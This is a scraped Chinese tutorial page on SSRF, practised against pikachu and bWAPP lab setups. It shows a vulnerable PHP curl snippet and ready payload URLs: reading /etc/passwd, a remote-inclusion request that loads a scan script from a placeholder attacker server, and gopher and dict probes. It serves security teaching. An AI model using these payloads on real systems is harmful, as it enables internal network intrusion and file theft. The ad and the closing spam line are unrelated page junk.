<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                ThinkChat2.0新版上線,更智能更精彩,支持會話、畫圖、視頻、閱讀、搜索等,送10W Token,即刻開啟你的AI之旅 廣告
                ## SRF案例: ### **案例一:url沒過濾** ```PHP # 源代碼如下 if(isset($_GET['url']) && $_GET['url'] != null){ //接收前端URL沒問題,但是要做好過濾,如果不做過濾,就會導致SSRF $URL = $_GET['url']; $CH = curl_init($URL); curl_setopt($CH, CURLOPT_HEADER, FALSE); curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE); $RES = curl_exec($CH); curl_close($CH) ; //ssrf的問是:前端傳進來的url被后臺使用curl_exec()進行了請求,然后將請求的結果又返回給了前端。 //除了http/https外,curl還支持一些其他的協議curl --version 可以查看其支持的協議,telnet //curl支持很多協議,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP echo $RES; } ``` **此時可以在url后邊接任意地址,當然真正的滲透應該接目標的內網地址** ```url #原地址: http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=http://localhost/1.txt #直接替換url為任意網址或本地文件路徑 http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd ``` ### **案例二:只讀取PHP文件** `file_get_contents`函數只能讀取PHP文件,所以可以修改原本的路徑,讀取服務器其他的php文件 ```url http://localhost/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/vul/ssrf/captain.php ``` ### **案例三:文件包含** 利用文件包含漏洞,加載遠程腳本掃描內部服務 ```url #GET的請求: http://192.168.163.157/bWAPP/rlfi.php?language=lang_en.php&action=go #觀察Get請求中的參數,發現是典型文件包含問題,language=lang_en.php #使用如下PAYLOAD,遠程包含并執行掃描腳本探測內網主機的端口和服務。 #POST請求 http://192.168.163.157/bWAPP/rlfi.php?language=http://xxx.xxx.xxx/bWAPP/ssrf-1.txt&action=go #POST DATA內容: ip=192.168.60.70 ``` >192.168.163.157是要訪問的主機地址A >xxx.xxx.xxx是要使用的遠程掃描腳本的地址(也就是自己搭建的服務器) >192.168.60.70是要掃描的目標主機內網地址B,且該地址是xxx.xxx.xxx主機無法訪問到的 >使用post請求提交要進行掃描的目標主機IP,掃描結束后便返回結果。 ## SSRF利用其他協議 有關 SSRF 其它擴展知道可參考: http://www.anquan.us/static/drops/web-7550.html ### file 協議的運用 請求`http://192.168.163.150/test.php?url=file:///etc/passwd`便可以獲取敏感文件的信息 ### gopher 協議的運用 gopher 協議是比http協議更早出現的協議,現已不常用,但是在 SSRF漏洞利用中gopher可以說是萬金油,因為可以使用 gopher 發送各種格式的請求包,這樣變可 以解決漏洞點不在 GET 參數的問題了 基本協議格式: ``` URL:gopher://<host>:<port>/<gopher-path> ``` 進行如下請求可以發送一個 POST 請求,且參數 cmd 的值為 balabal 構造 gopher 請求的時候,回車換行符號要進行2次url編碼為`%250d%250a` >http://192.168.0.100/ssrf1.php?url=gopher://192.168.0.105:8080/_POST%20/test.php%20HTTP/1.1%250d%250aHost:%20192.168.0.105:8080%250d%250aUser-Agent:%20curl/7.43.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250aid=1 gopher在SSRF漏洞利用中具體的攻擊方式可以參考如下鏈接: https://blog.chaitin.cn/gopher-attack-surfaces/ ### dict 協議應用 dict 協議是一個字典服務器協議,通常用于讓客戶端使用過程中能夠訪問更多的字典源, 但是在 SSRF 中如果可以使用 dict協議,那么就可以輕易的獲取目標服務器端口上運行的服務 版本等信息 如請求 `http://192.168.163.150/test.php?url=dict://192.168.163.1:3306/info` 可以獲取目標主 機的 3306 端口上運行著 mysq-l5.5.55 版本的應用。
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看